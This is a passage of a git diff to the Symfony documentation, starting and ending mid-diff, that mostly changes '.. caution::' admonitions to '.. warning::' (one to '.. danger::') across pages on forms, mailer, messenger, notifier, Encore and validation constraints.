+.. warning::
 
     One entity can be managed by more than one entity manager. This however
     results in unexpected behavior when extending from ``ServiceEntityRepository``
diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
index 35c8e729c2d..7f1ea793958 100644
--- a/doctrine/reverse_engineering.rst
+++ b/doctrine/reverse_engineering.rst
@@ -1,7 +1,7 @@
 How to Generate Entities from an Existing Database
 ==================================================
 
-.. caution::
+.. warning::
 
     The ``doctrine:mapping:import`` command used to generate Doctrine entities
     from existing databases was deprecated by Doctrine in 2019 and there's no
diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 400747bba12..db098a1ba09 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -171,7 +171,7 @@ class to the label:
         ],
         // ...
 
-.. caution::
+.. warning::
 
     Switches only work with **checkbox**.
 
@@ -201,7 +201,7 @@ class to the ``row_attr`` option.
             }
         }) }}
 
-.. caution::
+.. warning::
 
     If you fill the ``help`` option of your form, it will also be rendered
     as part of the group.
@@ -239,7 +239,7 @@ of your form type.
             }
         }) }}
 
-.. caution::
+.. warning::
 
     You **must** provide a ``label`` and a ``placeholder`` to make floating
     labels work properly.
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 709f3321544..0d92a967fa0 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -449,7 +449,7 @@ are some examples of Twig block names for the postal address type:
 ``postal_address_zipCode_label``
     The label block of the ZIP Code field.
 
-.. caution::
+.. warning::
 
     When the name of your form class matches any of the built-in field types,
     your form might not be rendered correctly. A form type named
diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index cb5c7936701..38c92ce35ae 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -126,7 +126,7 @@ in your form type::
         }
     }
 
-.. caution::
+.. warning::
 
     The data passed to the mapper is *not yet validated*. This means that your
     objects should allow being created in an invalid state in order to produce
@@ -215,7 +215,7 @@ If available, these options have priority over the property path accessor and
 the default data mapper will still use the :doc:`PropertyAccess component </components/property_access>`
 for the other form fields.
 
-.. caution::
+.. warning::
 
     When a form has the ``inherit_data`` option set to ``true``, it does not use the data mapper and
     lets its parent map inner values.
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 4e81fc3e930..db051a04bbc 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -8,7 +8,7 @@ can be rendered as a ``yyyy-MM-dd``-formatted input text box. Internally, a data
 converts the ``DateTime`` value of the field to a ``yyyy-MM-dd`` formatted string
 when rendering the form, and then back to a ``DateTime`` object on submit.
 
-.. caution::
+.. warning::
 
     When a form field has the ``inherit_data`` option set to ``true``, data transformers
     are not applied to that field.
@@ -340,7 +340,7 @@ that, after a successful submission, the Form component will pass a real
 If the issue isn't found, a form error will be created for that field and
 its error message can be controlled with the ``invalid_message`` field option.
 
-.. caution::
+.. warning::
 
     Be careful when adding your transformers. For example, the following is **wrong**,
     as the transformer would be applied to the entire form, instead of just this
@@ -472,7 +472,7 @@ Which transformer you need depends on your situation.
 
 To use the view transformer, call ``addViewTransformer()``.
 
-.. caution::
+.. warning::
 
     Be careful with model transformers and
     :doc:`Collection </reference/forms/types/collection>` field types.
diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index 7b98134af18..7a08fb6978a 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -65,7 +65,7 @@ the fields defined by the form class. Otherwise, you'll see a form validation er
     argument to ``submit()``. Passing ``false`` will remove any missing fields
     within the form object. Otherwise, the missing fields will be set to ``null``.
 
-.. caution::
+.. warning::
 
     When the second parameter ``$clearMissing`` is ``false``, like with the
     "PATCH" method, the validation will only apply to the submitted fields. If
diff --git a/form/events.rst b/form/events.rst
index 745df2df453..dad6c242ddd 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -192,7 +192,7 @@ Form view data        Same as in ``FormEvents::POST_SET_DATA``
     See all form events at a glance in the
     :ref:`Form Events Information Table <component-form-event-table>`.
 
-.. caution::
+.. warning::
 
     At this point, you cannot add or remove fields to the form.
 
@@ -225,7 +225,7 @@ Form view data        Normalized data transformed using a view transformer
     See all form events at a glance in the
     :ref:`Form Events Information Table <component-form-event-table>`.
 
-.. caution::
+.. warning::
 
     At this point, you cannot add or remove fields to the current form and its
     children.
diff --git a/form/form_collections.rst b/form/form_collections.rst
index f0ad76a8a61..2a0ba99657f 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -195,7 +195,7 @@ then set on the ``tag`` field of the ``Task`` and can be accessed via ``$task->g
 So far, this works great, but only to edit *existing* tags. It doesn't allow us
 yet to add new tags or delete existing ones.
 
-.. caution::
+.. warning::
 
     You can embed nested collections as many levels down as you like. However,
     if you use Xdebug, you may receive a ``Maximum function nesting level of '100'
@@ -427,13 +427,13 @@ That was fine, but forcing the use of the "adder" method makes handling
 these new ``Tag`` objects easier (especially if you're using Doctrine, which
 you will learn about next!).
 
-.. caution::
+.. warning::
 
     You have to create **both** ``addTag()`` and ``removeTag()`` methods,
     otherwise the form will still use ``setTag()`` even if ``by_reference`` is ``false``.
     You'll learn more about the ``removeTag()`` method later in this article.
 
-.. caution::
+.. warning::
 
     Symfony can only make the plural-to-singular conversion (e.g. from the
     ``tags`` property to the ``addTag()`` method) for English words. Code
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 3f3cd0bbc89..1c23601a883 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -74,7 +74,7 @@ control over how each form field is rendered, so you can fully customize them:
         </div>
     </div>
 
-.. caution::
+.. warning::
 
    If you're rendering each field manually, make sure you don't forget the
    ``_token`` field that is automatically added for CSRF protection.
@@ -305,7 +305,7 @@ Renders any errors for the given field.
     {# render any "global" errors not associated to any form field #}
     {{ form_errors(form) }}
 
-.. caution::
+.. warning::
 
     In the Bootstrap 4 form theme, ``form_errors()`` is already included in
     ``form_label()``. Read more about this in the
diff --git a/form/form_themes.rst b/form/form_themes.rst
index eb6f6f2ae22..8b82982edaa 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -177,7 +177,7 @@ of form themes:
 
     {# ... #}
 
-.. caution::
+.. warning::
 
     When using the ``only`` keyword, none of Symfony's built-in form themes
     (``form_div_layout.html.twig``, etc.) will be applied. In order to render
diff --git a/form/inherit_data_option.rst b/form/inherit_data_option.rst
index 19b14b27bcd..2caa0afcdbe 100644
--- a/form/inherit_data_option.rst
+++ b/form/inherit_data_option.rst
@@ -165,6 +165,6 @@ Finally, make this work by adding the location form to your two original forms::
 That's it! You have extracted duplicated field definitions to a separate
 location form that you can reuse wherever you need it.
 
-.. caution::
+.. warning::
 
     Forms with the ``inherit_data`` option set cannot have ``*_SET_DATA`` event listeners.
diff --git a/form/type_guesser.rst b/form/type_guesser.rst
index 111f1b77986..106eb4e7742 100644
--- a/form/type_guesser.rst
+++ b/form/type_guesser.rst
@@ -162,7 +162,7 @@ instance with the value of the option. This constructor has 2 arguments:
 ``null`` is guessed when you believe the value of the option should not be
 set.
 
-.. caution::
+.. warning::
 
     You should be very careful using the ``guessMaxLength()`` method. When the
     type is a float, you cannot determine a length (e.g. you want a float to be
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index ea11e947fde..2a53d43dd33 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -1,7 +1,7 @@
 How to Unit Test your Forms
 ===========================
 
-.. caution::
+.. warning::
 
     This article is intended for developers who create
     :doc:`custom form types </form/create_custom_field_type>`. If you are using
@@ -121,7 +121,7 @@ variable exists and will be available in your form themes::
     Use `PHPUnit data providers`_ to test multiple form conditions using
     the same test code.
 
-.. caution::
+.. warning::
 
     When your type relies on the ``EntityType``, you should register the
     :class:`Symfony\\Bridge\\Doctrine\\Form\\DoctrineOrmExtension`, which will
diff --git a/form/without_class.rst b/form/without_class.rst
index 589f8a4739e..436976bdfcc 100644
--- a/form/without_class.rst
+++ b/form/without_class.rst
@@ -121,7 +121,7 @@ but here's a short example::
     submitted data is validated using the ``Symfony\Component\Validator\Constraints\Valid``
     constraint, unless you :doc:`disable validation </form/disabling_validation>`.
 
-.. caution::
+.. warning::
 
     When a form is only partially submitted (for example, in an HTTP PATCH
     request), only the constraints from the submitted form fields will be
diff --git a/forms.rst b/forms.rst
index 107ab70f623..38006169cdb 100644
--- a/forms.rst
+++ b/forms.rst
@@ -876,7 +876,7 @@ pass ``null`` to it::
         }
     }
 
-.. caution::
+.. warning::
 
     When using a specific :doc:`form validation group </form/validation_groups>`,
     the field type guesser will still consider *all* validation constraints when
diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index ebf1e5f8304..061c4598bfa 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -95,7 +95,7 @@ This will physically copy all the files from your mapped directories to
 ``public/assets/`` so that they're served directly by your web server.
 See :ref:`Deployment <asset-mapper-deployment>` for more details.
 
-.. caution::
+.. warning::
 
     If you run the ``asset-map:compile`` command on your development machine,
     you won't see any changes made to your assets when reloading the page.
diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index f98ac8b75a0..2ddff9de345 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -200,7 +200,7 @@ You'll customize and learn more about these files in :doc:`/frontend/encore/simp
 When you execute Encore, it will ask you to install a few more dependencies based
 on which features of Encore you have enabled.
 
-.. caution::
+.. warning::
 
     Some of the documentation will use features that are specific to Symfony or
     Symfony's `WebpackEncoreBundle`_. These are optional, and are special ways
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index d790611b511..1c6c6b05c08 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -82,7 +82,7 @@ in your ``package.json`` file.
     in the :ref:`Symfony CLI Workers <symfony-server_configuring-workers>`
     documentation.
 
-.. caution::
+.. warning::
 
     Whenever you make changes in your ``webpack.config.js`` file, you must
     stop and restart ``encore``.
@@ -434,7 +434,7 @@ Your app now supports Sass. Encore also supports LESS and Stylus. See
 Compiling Only a CSS File
 -------------------------
 
-.. caution::
+.. warning::
 
     Using ``addStyleEntry()`` is supported, but not recommended. A better option
     is to follow the pattern above: use ``addEntry()`` to point to a JavaScript
diff --git a/frontend/encore/virtual-machine.rst b/frontend/encore/virtual-machine.rst
index c24d2b3670b..d18026d3633 100644
--- a/frontend/encore/virtual-machine.rst
+++ b/frontend/encore/virtual-machine.rst
@@ -87,7 +87,7 @@ connections:
           }
       }
 
-.. caution::
+.. danger::
 
     Make sure to run the development server inside your virtual machine only;
     otherwise other computers can have access to it.
@@ -110,7 +110,7 @@ the dev-server. To fix this, set the ``allowedHosts`` option:
             options.allowedHosts = all;
         })
 
-.. caution::
+.. warning::
 
     Beware that `it's not recommended to set allowedHosts to all`_ in general, but
     here it's required to solve the issue when using Encore in a virtual machine.
diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index 4d5e07acc61..394c79aed42 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -14,7 +14,7 @@ cache lifetimes, but to actively notify the gateway cache when content
 changes. Reverse proxies usually provide a channel to receive such
 notifications, typically through special HTTP requests.
 
-.. caution::
+.. warning::
 
     While cache invalidation is powerful, avoid it when possible. If you fail
     to invalidate something, outdated caches will be served for a potentially
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index aaf1de564c1..044430edcc3 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -259,7 +259,7 @@ One great advantage of the ESI renderer is that you can make your application
 as dynamic as needed and at the same time, hit the application as little as
 possible.
 
-.. caution::
+.. warning::
 
     The fragment listener only responds to signed requests. Requests are only
     signed when using the fragment renderer and the ``render_esi`` Twig
diff --git a/http_client.rst b/http_client.rst
index 9e9a74b973b..e7128f1bc66 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1076,7 +1076,7 @@ To disable HTTP compression, send an ``Accept-Encoding: identity`` HTTP header.
 Chunked transfer encoding is enabled automatically if both your PHP runtime and
 the remote server support it.
 
-.. caution::
+.. warning::
 
     If you set ``Accept-Encoding`` to e.g. ``gzip``, you will need to handle the
     decompression yourself.
diff --git a/lock.rst b/lock.rst
index 35c3dc5be3c..7e428312a82 100644
--- a/lock.rst
+++ b/lock.rst
@@ -194,7 +194,7 @@ To lock the default resource, autowire the lock factory using
         }
     }
 
-.. caution::
+.. warning::
 
     The same instance of ``LockInterface`` won't block when calling ``acquire``
     multiple times inside the same process. When several services use the
diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index 9ad3a2f054c..3cac1d01ba5 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -95,7 +95,7 @@ from the ``security`` channel. The following example does that only in the
             }
         };
 
-.. caution::
+.. warning::
 
     The ``channels`` configuration only works for top-level handlers. Handlers
     that are nested inside a group, buffer, filter, fingers crossed or other
diff --git a/logging/monolog_exclude_http_codes.rst b/logging/monolog_exclude_http_codes.rst
index 810abdd5b9f..ee9fb16c01c 100644
--- a/logging/monolog_exclude_http_codes.rst
+++ b/logging/monolog_exclude_http_codes.rst
@@ -57,7 +57,7 @@ logging these HTTP codes based on the MonologBundle configuration:
             $mainHandler->excludedHttpCode()->code(404);
         };
 
-.. caution::
+.. warning::
 
     Combining ``excluded_http_codes`` with a ``passthru_level`` lower than
     ``error`` (i.e. ``debug``, ``info``, ``notice`` or ``warning``) will not
diff --git a/mailer.rst b/mailer.rst
index 8e2e244c449..c1b30a06850 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -61,7 +61,7 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
             $framework->mailer()->dsn(env('MAILER_DSN'));
         };
 
-.. caution::
+.. warning::
 
     If the username, password or host contain any character considered special in a
     URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
@@ -82,7 +82,7 @@ native        ``native://default``                      Mailer uses the sendmail
                                                         ``php.ini`` settings when ``sendmail_path`` is not configured.
 ============  ========================================  ==============================================================
 
-.. caution::
+.. warning::
 
     When using ``native://default``, if ``php.ini`` uses the ``sendmail -t``
     command, you won't have error reporting and ``Bcc`` headers won't be removed.
@@ -229,20 +229,20 @@ party provider:
 
     The ``sandbox`` option in ``Mailjet`` API was introduced in Symfony 6.3.
 
-.. caution::
+.. warning::
 
     If your credentials contain special characters, you must URL-encode them.
     For example, the DSN ``ses+smtp://ABC1234:abc+12/345@default`` should be
     configured as ``ses+smtp://ABC1234:abc%2B12%2F345@default``
 
-.. caution::
+.. warning::
 
     If you want to use the ``ses+smtp`` transport together with :doc:`Messenger </messenger>`
     to :ref:`send messages in background <mailer-sending-messages-async>`,
     you need to add the ``ping_threshold`` parameter to your ``MAILER_DSN`` with
     a value lower than ``10``: ``ses+smtp://USERNAME:PASSWORD@default?ping_threshold=9``
 
-.. caution::
+.. warning::
 
     If you send custom headers when using the `Amazon SES`_ transport (to receive
     them later via a webhook), make sure to use the ``ses+https`` provider because
@@ -773,7 +773,7 @@ and headers.
             $mailer->header('X-Custom-Header')->value('foobar');
         };
 
-.. caution::
+.. warning::
 
     Some third-party providers don't support the usage of keywords like ``from``
     in the ``headers``. Check out your provider's documentation before setting
@@ -1201,7 +1201,7 @@ Before signing/encrypting messages, make sure to have:
     When using OpenSSL to generate certificates, make sure to add the
     ``-addtrust emailProtection`` command option.
 
-.. caution::
+.. warning::
 
     Signing and encrypting messages require their contents to be fully rendered.
     For example, the content of :ref:`templated emails <mailer-twig>` is rendered
@@ -1226,7 +1226,7 @@ using for example OpenSSL or obtained at an official Certificate Authority (CA).
 The email recipient must have the CA certificate in the list of trusted issuers
 in order to verify the signature.
 
-.. caution::
+.. warning::
 
     If you use message signature, sending to ``Bcc`` will be removed from the
     message. If you need to send a message to multiple recipients, you need
diff --git a/mercure.rst b/mercure.rst
index 58ffdde9182..f37c40ddee7 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -442,7 +442,7 @@ Using cookies is the most secure and preferred way when the client is a web
 browser. If the client is not a web browser, then using an authorization header
 is the way to go.
 
-.. caution::
+.. warning::
 
     To use the cookie authentication method, the Symfony app and the Hub
     must be served from the same domain (can be different sub-domains).
diff --git a/messenger.rst b/messenger.rst
index 87102811316..c86ae948b0c 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -730,7 +730,7 @@ times:
 Change the ``async`` argument to use the name of your transport (or transports)
 and ``user`` to the Unix user on your server.
 
-.. caution::
+.. warning::
 
     During a deployment, something might be unavailable (e.g. the
     database) causing the consumer to fail to start. In this situation,
@@ -966,7 +966,7 @@ by setting its ``rate_limiter`` option:
             ;
         };
 
-.. caution::
+.. warning::
 
     When a rate limiter is configured on a transport, it will block the whole
     worker when the limit is hit. You should make sure you configure a dedicated
@@ -1532,7 +1532,7 @@ your Envelope::
         new AmqpStamp('custom-routing-key', AMQP_NOPARAM, $attributes),
     ]);
 
-.. caution::
+.. warning::
 
     The consumers do not show up in an admin panel as this transport does not rely on
     ``\AmqpQueue::consume()`` which is blocking. Having a blocking receiver makes
@@ -1583,7 +1583,7 @@ DSN by using the ``table_name`` option:
 Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 :ref:`generate a migration <doctrine-creating-the-database-tables-schema>`.
 
-.. caution::
+.. warning::
 
     The datetime property of the messages stored in the database uses the
     timezone of the current system. This may cause issues if multiple machines
@@ -1775,7 +1775,7 @@ under the transport in ``messenger.yaml``:
     The ``persistent_id``, ``retry_interval``, ``read_timeout``, ``timeout``, and
     ``sentinel_master`` options were introduced in Symfony 6.1.
 
-.. caution::
+.. warning::
 
     There should never be more than one ``messenger:consume`` command running with the same
     combination of ``stream``, ``group`` and ``consumer``, or messages could end up being
@@ -2682,7 +2682,7 @@ That's it! You can now consume each transport:
 
     $ php bin/console messenger:consume async_priority_normal -vv
 
-.. caution::
+.. warning::
 
     If a handler does *not* have ``from_transport`` config, it will be executed
     on *every* transport that the message is received from.
diff --git a/notifier.rst b/notifier.rst
index 7d5e395fb02..9801432e9aa 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -45,7 +45,7 @@ to send SMS messages to mobile phones. This feature requires subscribing to
 a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
-.. caution::
+.. warning::
 
     If any of the DSN values contains any character considered special in a
     URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
@@ -327,7 +327,7 @@ information such as the message ID and the original message contents.
 Chat Channel
 ~~~~~~~~~~~~
 
-.. caution::
+.. warning::
 
     If any of the DSN values contains any character considered special in a
     URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
@@ -370,7 +370,7 @@ Service                                  Package                               D
 
     The LINE Notify, Mastodon and Twitter integrations were introduced in Symfony 6.3.
 
-.. caution::
+.. warning::
 
     By default, if you have the :doc:`Messenger component </messenger>` installed,
     the notifications will be sent through the MessageBus. If you don't have a
@@ -540,7 +540,7 @@ notification emails:
 Push Channel
 ~~~~~~~~~~~~
 
-.. caution::
+.. warning::
 
     If any of the DSN values contains any character considered special in a
     URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``), you must
diff --git a/profiler.rst b/profiler.rst
index 5ca47394402..1cdf3e57867 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -311,13 +311,13 @@ These are the method that you can define in the data collector class:
     from ``AbstractDataCollector``). If you need some services to collect the
     data, inject those services in the data collector constructor.
 
-    .. caution::
+    .. warning::
 
         The ``collect()`` method is only called once. It is not used to "gather"
         data but is there to "pick up" the data that has been stored by your
         service.
 
-    .. caution::
+    .. warning::
 
         As the profiler serializes data collector instances, you should not
         store objects that cannot be serialized (like PDO objects) or you need
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 6d32065540c..63b1568da9f 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -218,7 +218,7 @@ The **default value** is:
     :ref:`Changing the Action and HTTP Method <forms-change-action-method>` of
     Symfony forms.
 
-.. caution::
+.. warning::
 
     If you're using the :ref:`HttpCache Reverse Proxy <symfony2-reverse-proxy>`
     with this option, the kernel will ignore the ``_method`` parameter,
diff --git a/reference/configuration/web_profiler.rst b/reference/configuration/web_profiler.rst
index f0b11f47064..93c65621999 100644
--- a/reference/configuration/web_profiler.rst
+++ b/reference/configuration/web_profiler.rst
@@ -20,7 +20,7 @@ under the ``web_profiler`` key in your application configuration.
     namespace and the related XSD schema is available at:
     ``https://symfony.com/schema/dic/webprofiler/webprofiler-1.0.xsd``
 
-.. caution::
+.. warning::
 
     The web debug toolbar is not available for responses of type ``StreamedResponse``.
 
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index a6944c241cf..f4c78a9642a 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -245,7 +245,7 @@ constructor of the Callback constraint::
         }
     }
 
-.. caution::
+.. warning::
 
     Using a ``Closure`` together with attribute configuration will disable the
     attribute cache for that class/property/method because ``Closure`` cannot
diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index d2f151adea8..d5d78f60a0f 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -4,7 +4,7 @@ EqualTo
 Validates that a value is equal to another value, defined in the options.
 To force that a value is *not* equal, see :doc:`/reference/constraints/NotEqualTo`.
 
-.. caution::
+.. warning::
 
     This constraint compares using ``==``, so ``3`` and ``"3"`` are considered
     equal. Use :doc:`/reference/constraints/IdenticalTo` to compare with
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 0840a36aede..3930d898c7e 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -246,7 +246,7 @@ Parameter         Description
 
 **type**: ``array`` or ``string``
 
-.. caution::
+.. warning::
 
     You should always use the ``extensions`` option instead of ``mimeTypes``
     except if you explicitly don't want to check that the extension of the file
diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst
index 507493b63d4..5b6d853dc0b 100644
--- a/reference/constraints/IdenticalTo.rst
+++ b/reference/constraints/IdenticalTo.rst
@@ -5,7 +5,7 @@ Validates that a value is identical to another value, defined in the options.
 To force that a value is *not* identical, see
 :doc:`/reference/constraints/NotIdenticalTo`.
 
-.. caution::
+.. warning::
 
     This constraint compares using ``===``, so ``3`` and ``"3"`` are *not*
     considered equal. Use :doc:`/reference/constraints/EqualTo` to compare
diff --git a/reference/constraints/NotEqualTo.rst b/reference/constraints/NotEqualTo.rst
index 37b03c35907..b8ee4cac32f 100644
--- a/reference/constraints/NotEqualTo.rst
+++ b/reference/constraints/NotEqualTo.rst
@@ -5,7 +5,7 @@ Validates that a value is **not** equal to another value, defined in the
 options. To force that a value is equal, see
 :doc:`/reference/constraints/EqualTo`.
 
-.. caution::
+.. warning::
 
     This constraint compares using ``!=``, so ``3`` and ``"3"`` are considered
     equal. Use :doc:`/reference/constraints/NotIdenticalTo` to compare with
diff --git a/reference/constraints/NotIdenticalTo.rst b/reference/constraints/NotIdenticalTo.rst
index ba28fdb7c45..9ea93dc4b86 100644
--- a/reference/constraints/NotIdenticalTo.rst
+++ b/reference/constraints/NotIdenticalTo.rst
@@ -5,7 +5,7 @@ Validates that a value is **not** identical to another value, defined in
 the options. To force that a value is identical, see
 :doc:`/reference/constraints/IdenticalTo`.
 
-.. caution::
+.. warning::
 
     This constraint compares using ``!==``, so ``3`` and ``"3"`` are
     considered not equal. Use :doc:`/reference/constraints/NotEqualTo` to
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 0fab6467669..2c9aeccd755 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -126,14 +126,14 @@ between all of the rows in your user table:
             }
         }
 
-.. caution::
+.. warning::
 
     This constraint doesn't provide any protection against `race conditions`_.
     They may occur when another entity is persisted by an external process after
     this validation has passed and before this entity is actually persisted in
     the database.
 
-.. caution::
+.. warning::
 
     This constraint cannot deal with duplicates found in a collection of items
     that haven't been persisted as entities yet. You'll need to create your own
@@ -355,7 +355,7 @@ this option to specify one or more fields to only ignore ``null`` values on them
             }
         }
 
-.. caution::
+.. warning::
 
     If you ``ignoreNull`` on fields that are part of a unique index in your
     database, you might see insertion errors when your application attempts to
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 2ea62bc9def..0c5a4fe1e26 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -573,7 +573,7 @@ can also register it manually:
     that defaults to ``0``. The higher the number, the earlier that warmers are
     executed.
 
-.. caution::
+.. warning::
 
     If your cache warmer fails its execution because of any exception, Symfony
     won't try to execute it again for the next requests. Therefore, your
diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 906e91543f0..d064eedb02a 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -26,7 +26,7 @@ The component supports:
     Support for decimals without leading zeros and underscore separators were
     introduced in Symfony 6.1.
 
-.. caution::
+.. warning::
 
     A backslash (``\``) must be escaped by 3 backslashes (``\\\\``) in a string
     and 7 backslashes (``\\\\\\\\``) in a regex::
diff --git a/reference/formats/message_format.rst b/reference/formats/message_format.rst
index 2a694ed45d2..fb0143228c1 100644
--- a/reference/formats/message_format.rst
+++ b/reference/formats/message_format.rst
@@ -64,7 +64,7 @@ The basic usage of the MessageFormat allows you to use placeholders (called
             'say_hello' => "Hello {name}!",
         ];
 
-.. caution::
+.. warning::
 
     In the previous translation format, placeholders were often wrapped in ``%``
     (e.g. ``%name%``). This ``%`` character is no longer valid with the ICU
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 3637da8bdca..459ee060efe 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -95,7 +95,7 @@ method::
 You can also customize the `choice_name`_ of each choice. You can learn more
 about all of these options in the sections below.
 
-.. caution::
+.. warning::
 
     The *placeholder* is a specific field, when the choices are optional the
     first item in the list must be empty, so the user can unselect.
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index d584e4152b4..229e8ab966f 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -101,7 +101,7 @@ can be used - with JavaScript - to create new form items dynamically on
 the client side. For more information, see the above example and
 :ref:`form-collections-new-prototype`.
 
-.. caution::
+.. warning::
 
     If you're embedding entire other forms to reflect a one-to-many database
     relationship, you may need to manually ensure that the foreign key of
@@ -121,7 +121,7 @@ submitted data will mean that it's removed from the final array.
 
 For more information, see :ref:`form-collections-remove`.
 
-.. caution::
+.. warning::
 
     Be careful when using this option when you're embedding a collection
     of objects. In this case, if any embedded forms are removed, they *will*
@@ -141,7 +141,7 @@ form you have to set this option to ``true``. However, existing collection entri
 will only be deleted if you have the allow_delete_ option enabled. Otherwise
 the empty values will be kept.
 
-.. caution::
+.. warning::
 
     The ``delete_empty`` option only removes items when the normalized value is
     ``null``. If the nested `entry_type`_ is a compound form type, you must
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index 8913e639f23..aa3d8323910 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -54,7 +54,7 @@ Overridden Options
 The country type defaults the ``choices`` option to the whole list of countries.
 The locale is used to translate the countries names.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the country type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index cca441ff930..9b7affe468c 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -37,7 +37,7 @@ Overridden Options
 
 The choices option defaults to all currencies.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the currency type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index 515c12099a1..801bd6323f7 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -103,7 +103,7 @@ This can be tricky: if the date picker is misconfigured, Symfony won't understan
 the format and will throw a validation error. You can also configure the format
 that Symfony should expect via the `format`_ option.
 
-.. caution::
+.. warning::
 
     The string used by a JavaScript date picker to describe its format (e.g. ``yyyy-mm-dd``)
     may not match the string that Symfony uses (e.g. ``yyyy-MM-dd``). This is because
diff --git a/reference/forms/types/dateinterval.rst b/reference/forms/types/dateinterval.rst
index 627fb78d7ed..b317ac522f4 100644
--- a/reference/forms/types/dateinterval.rst
+++ b/reference/forms/types/dateinterval.rst
@@ -223,7 +223,7 @@ following:
 Whether or not to include days in the input. This will result in an additional
 input to capture days.
 
-.. caution::
+.. warning::
 
     This can not be used when `with_weeks`_ is enabled.
 
@@ -276,7 +276,7 @@ input to capture seconds.
 Whether or not to include weeks in the input. This will result in an additional
 input to capture weeks.
 
-.. caution::
+.. warning::
 
     This can not be used when `with_days`_ is enabled.
 
diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index f30d5f9a5b2..0d900de377f 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -183,7 +183,7 @@ passed the ``EntityRepository`` of the entity as the only argument and should
 return a ``QueryBuilder``. Returning ``null`` in the Closure will result in
 loading all entities.
 
-.. caution::
+.. warning::
 
     The entity used in the ``FROM`` clause of the ``query_builder`` option
     will always be validated against the class which you have specified at the
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index 4b1bccd077d..d8f5247856b 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
